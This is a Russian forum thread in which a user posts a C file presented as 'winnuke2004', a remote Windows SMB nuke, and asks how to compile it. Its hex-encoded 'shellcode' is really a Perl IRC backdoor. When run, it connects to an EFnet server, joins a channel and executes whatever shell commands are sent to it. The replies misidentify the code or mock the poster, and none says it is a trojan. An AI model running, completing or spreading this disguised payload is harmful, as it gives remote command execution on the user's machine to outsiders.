|
|
|
чем компилировать?
|
|||
|---|---|---|---|
|
#18+
Уважаемые знатоки! Чем компилировать вот это: (пробовал masm32, загружаю как скрипт, выдает ошибку типа missing brace at line 75) #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <netinet/in.h> #include <netinet/udp.h> #include <netinet/ip.h> #include <string.h> /* *** PRIVATE * PRIVATE * PRIVATE *** * ******** DO NOT DISTRIBUTE ******** * * winnuke2004.c version 2.oh * A remote windows nuke for Windows 9x/ME/2000/NT/XP * * Exploits a buffer overflow in the SMB protocol * * This exploit must be run as root to open a raw socket * * * * Shoutouts to MrNeutron for updates and for shortening * the shellcode * Shoutouts to pgp for sticking his dick everywhere * and w0rd up to Jef_FR for 0wning brain.cx * * -brain <brain@brain.cx> */ h3llc0de= "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63" "\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69" "\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72" "\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e" "\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65" "\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f" "\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49" "\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e" "\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22" "\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63" "\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d" "\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x33\x5c\x6e\x4e\x49\x43" "\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68" "\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20" "\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64" "\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65" "\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d" "\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d" "\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20" "\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c" "\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22" "\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53" "\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20" "\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66" "\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20" "\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20" "\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f" "\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63" "\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68" "\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f" "\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e" "\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e" "\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28" "\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24" "\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d" "\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24" "\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24" "\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22" "\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22" "\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c" "\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d" "\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64" "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"; unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum; for(sum=0;nwords>0;nwords--); sum+=*buf++; sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); return ~sum; } unsigned short in_cksum(unsigned short *addr,int len) { register int nleft=len; register unsigned short *w=addr; register int sum=0; unsigned short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(u_char *)(&answer)=*(u_char *)w; sum+=answer; } sum=(sum >> 16)+(sum & 0xffff); sum+=(sum >> 16); answer=~sum; return(answer); } если найдете ошибки подскажите пож-та как исправить. Заранее спасибо ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 01.07.2008, 13:23 |
|
||
|
чем компилировать?
|
|||
|---|---|---|---|
|
#18+
Это ж С++... какой еще masm? Ну и если я еще не все забыл, то код не полный. Ищи все остальное! Похоже, что это заголовочный файл. Смотри тут ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 01.07.2008, 14:03 |
|
||
|
чем компилировать?
|
|||
|---|---|---|---|
|
#18+
А не пойти ли вам, дорогой AFG с вашим Эксплоитом куда подальше? ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 01.07.2008, 14:16 |
|
||
|
чем компилировать?
|
|||
|---|---|---|---|
|
#18+
Забудка отдыхай, все равно "ЗАБЫЛ". A Dorandr-у спасибо ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 01.07.2008, 14:27 |
|
||
|
чем компилировать?
|
|||
|---|---|---|---|
|
#18+
DorandrЭто ж С++...Неправда. Это Си. DorandrПохоже, что это заголовочный файл.Опять неправда, это исходник. И там в коментариях кстати указано оригинальное имя файла. А так же авторский запрет на распространение исходника. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 01.07.2008, 17:12 |
|
||
|
чем компилировать?
|
|||
|---|---|---|---|
|
#18+
AFGЗабудка отдыхай, все равно "ЗАБЫЛ". A Dorandr-у спасибо На 127.0.0.1 натрави ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 01.07.2008, 17:35 |
|
||
|
|

start [/forum/topic.php?fid=16&msg=35403942&tid=1345196]: |
0ms |
get settings: |
5ms |
get forum list: |
15ms |
check forum access: |
3ms |
check topic access: |
3ms |
track hit: |
164ms |
get topic data: |
7ms |
get forum data: |
2ms |
get page messages: |
36ms |
get tp. blocked users: |
2ms |
| others: | 250ms |
| total: | 487ms |

| 0 / 0 |
